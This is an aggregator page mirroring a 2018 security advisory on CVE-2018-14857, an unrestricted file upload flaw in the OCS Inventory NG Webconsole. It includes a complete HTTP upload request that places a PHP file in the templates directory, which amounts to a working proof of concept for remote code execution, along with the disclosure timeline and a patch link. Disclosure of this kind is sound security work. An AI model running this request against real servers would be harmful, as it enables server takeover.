Lucene search
K

OCS Inventory NG Webconsole Shell Upload

🗓️ 06 Aug 2018 00:00:00Reported by Simon UvarovType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 41 Views

Unrestricted File Upload (RCE) in OCS Inventory NG Webconsole before 2.5, allows privileged user to gain server access via template file containing PHP cod

Related
Code
ReporterTitlePublishedViews
Family
0day.today
OCS Inventory NG Webconsole Shell Upload Vulnerability
7 Aug 201800:00
zdt
Circl
CVE-2018-14857
7 Aug 201815:31
circl
CVE
CVE-2018-14857
6 Aug 201821:00
cve
Cvelist
CVE-2018-14857
6 Aug 201821:00
cvelist
Debian CVE
CVE-2018-14857
6 Aug 201821:00
debiancve
EUVD
EUVD-2018-6739
7 Oct 202500:30
euvd
NVD
CVE-2018-14857
6 Aug 201821:29
nvd
OpenVAS
OCS Inventory NG < 2.5 Multiple Vulnerabilities
7 Aug 201800:00
openvas
OSV
DEBIAN-CVE-2018-14857
6 Aug 201821:29
osv
Prion
Unrestricted file upload
6 Aug 201821:29
prion
Rows per page
`# Title  
Unrestricted File Upload (RCE) in OCS Inventory NG Webconsole before 2.5  
  
#Reserved CVE  
CVE-2018-14857  
  
# Vulnerability Overview  
OCS Inventory NG OCS Inventory Server through 2.5 allows a privileged user to gain access to the server via a template file containing PHP code, because file extensions other than .html are permitted.  
  
# Discovered By  
Simon Uvarov  
  
# Vendor Status  
Fixed.  
  
# Vulnerability Details  
The following request saves the phpinfo.php file to the `/usr/share/ocsinventory-reports/ocsreports/templates/` directory.  
  
```  
POST /ocsreports/index.php?function=notification HTTP/1.1  
Host: 192.168.5.135  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.5.135/ocsreports/index.php?function=notification  
Content-Type: multipart/form-data; boundary=---------------------------2093529028912  
Content-Length: 970  
Cookie: VERS=7015; show_all_plugins_col=a%3A6%3A%7Bi%3A0%3Bs%3A1%3A%220%22%3Bi%3A1%3Bs%3A1%3A%222%22%3Bi%3A2%3Bs%3A1%3A%223%22%3Bi%3A3%3Bs%3A1%3A%224%22%3Bi%3A4%3Bs%3A1%3A%225%22%3Bi%3A5%3Bs%3A1%3A%228%22%3B%7D; LANG=en_GB; IPDISCOVER_inv_col=a%3A6%3A%7Bi%3A0%3Bs%3A1%3A%220%22%3Bi%3A1%3Bs%3A1%3A%222%22%3Bi%3A2%3Bs%3A1%3A%223%22%3Bi%3A3%3Bs%3A1%3A%224%22%3Bi%3A4%3Bs%3A1%3A%226%22%3Bi%3A5%3Bs%3A1%3A%227%22%3B%7D; DOWNLOAD_AFFECT_RULES_col=a%3A2%3A%7Bi%3A0%3Bs%3A1%3A%220%22%3Bi%3A1%3Bs%3A1%3A%224%22%3B%7D; PHPSESSID=0ljuolnkjcbh77ie825k3c2dc7  
Connection: close  
Upgrade-Insecure-Requests: 1  
  
-----------------------------2093529028912  
Content-Disposition: form-data; name="CSRF_584"  
  
c282a92b615fcae79a060321a8285c92d759197f  
-----------------------------2093529028912  
Content-Disposition: form-data; name="onglet"  
  
NOTIF_PERSO  
-----------------------------2093529028912  
Content-Disposition: form-data; name="old_onglet"  
  
NOTIF_PERSO  
-----------------------------2093529028912  
Content-Disposition: form-data; name="notif_choice"  
  
PERSO  
-----------------------------2093529028912  
Content-Disposition: form-data; name="template"; filename="phpinfo.php"  
Content-Type: text/html  
  
<?php phpinfo(); ?>  
  
-----------------------------2093529028912  
Content-Disposition: form-data; name="subject"  
  
-----------------------------2093529028912  
Content-Disposition: form-data; name="RELOAD_CONF"  
  
-----------------------------2093529028912  
Content-Disposition: form-data; name="Send"  
  
Update  
-----------------------------2093529028912--  
  
```  
  
The PHP file is then accessible via http://192.168.5.135/ocsreports/templates/phpinfo.php  
  
# Timeline:  
2018-08-01: vuln discovered  
2018-08-01: emailed vendor  
2018-08-02: reply from vendor: vuln confirmed & patch is created  
2018-08-03: public disclosure  
  
# Patch:  
https://github.com/OCSInventory-NG/OCSInventory-ocsreports/commit/cc572819e373f7ff81dec61591b6f465b43c5515  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation